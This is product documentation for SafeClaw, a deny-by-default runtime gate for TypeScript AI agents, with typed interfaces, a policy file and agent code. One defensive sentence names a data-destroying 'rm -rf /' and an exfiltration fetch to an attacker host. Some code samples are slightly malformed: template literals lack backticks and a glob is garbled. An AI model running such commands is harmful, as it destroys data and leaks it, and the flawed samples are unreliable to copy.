AI Agent Safety for TypeScript Projects

SafeClaw by Authensor ships with full TypeScript type definitions, giving you compile-time safety on top of runtime deny-by-default gating. Every action your AI agent attempts — file reads, shell commands, network requests — is type-checked at build time and policy-checked at runtime. Install with npx @authensor/safeclaw and integrate directly into your TypeScript build pipeline.

Why TypeScript Agents Need Runtime Gating

TypeScript's type system catches many bugs at compile time, but it cannot prevent an AI agent from deciding at runtime to call exec("rm -rf /") or fetch("https://attacker.com/exfil"). Type safety and runtime safety are complementary — SafeClaw provides the runtime layer with 446 tests and hash-chained audit logging.

Installation

npx @authensor/safeclaw
npm install --save-dev @authensor/safeclaw  # for type definitions

Type-Safe Gate Interface

SafeClaw exports fully typed interfaces:

import { Gate, ActionRequest, GateDecision } from '@authensor/safeclaw';

interface FileReadAction extends ActionRequest {
  action: 'file.read';
  path: string;
}

interface ProcessExecAction extends ActionRequest {
  action: 'process.exec';
  command: string;
  cwd?: string;
}

interface NetworkRequestAction extends ActionRequest {
  action: 'network.request';
  host: string;
  url: string;
  method: 'GET' | 'POST' | 'PUT' | 'DELETE' | 'PATCH';
}

type AgentAction = FileReadAction | ProcessExecAction | NetworkRequestAction;

const gate = new Gate();

async function gateAction(action: AgentAction): Promise<GateDecision> {
  return gate.check(action);
}

Policy Configuration

version: 1
defaultAction: deny

rules:
  - action: file.read
    path:
      glob: "./src/*/.ts"
    decision: allow

- action: file.write
    path:
      glob: "./dist/**"
    decision: allow

- action: process.exec
    command:
      in: ["tsc", "tsc --build", "npm run build"]
    decision: allow

- action: process.exec
    command:
      startsWith: "npm install"
    decision: prompt

- action: network.request
    host:
      in: ["api.openai.com", "api.anthropic.com", "registry.npmjs.org"]
    decision: allow

Build Pipeline Integration

Add SafeClaw policy validation to your build:

// scripts/validate-policy.ts
import { PolicyValidator } from '@authensor/safeclaw';
import { readFileSync } from 'fs';
import { parse } from 'yaml';

const policyFile = readFileSync('./safeclaw.policy.yaml', 'utf-8');
const policy = parse(policyFile);
const validator = new PolicyValidator();

const result = validator.validate(policy);
if (!result.valid) {
  console.error('SafeClaw policy validation failed:');
  result.errors.forEach(e => console.error(  - ${e.message}));
  process.exit(1);
}
console.log('SafeClaw policy is valid.');

Add to your tsconfig.json build scripts:

{
  "scripts": {
    "prebuild": "ts-node scripts/validate-policy.ts",
    "build": "tsc --build",
    "safeclaw": "npx @authensor/safeclaw"
  }
}

Full Agent Example

import { Gate } from '@authensor/safeclaw';
import { execSync } from 'child_process';
import { readFile, writeFile } from 'fs/promises';

const gate = new Gate();

class SafeAgent {
  async readSourceFile(path: string): Promise<string> {
    const decision = await gate.check({
      action: 'file.read',
      path
    });
    if (!decision.allowed) {
      throw new Error(Denied: ${decision.reason});
    }
    return readFile(path, 'utf-8');
  }

async executeCommand(command: string): Promise<string> {
    const decision = await gate.check({
      action: 'process.exec',
      command
    });
    if (!decision.allowed) {
      throw new Error(Denied: ${decision.reason});
    }
    return execSync(command, { encoding: 'utf-8' });
  }

async fetchApi(url: string): Promise<Response> {
    const host = new URL(url).hostname;
    const decision = await gate.check({
      action: 'network.request',
      host,
      url,
      method: 'GET'
    });
    if (!decision.allowed) {
      throw new Error(Denied: ${decision.reason});
    }
    return fetch(url);
  }
}

Every action is logged to the hash-chained audit trail. SafeClaw is MIT licensed, provider-agnostic (Claude and OpenAI), and validates against 446 tests.

Cross-References

• JavaScript/Node.js Integration
• Next.js Integration
• Monorepo Safety
• Policy Engine Architecture
• Simulation Mode Reference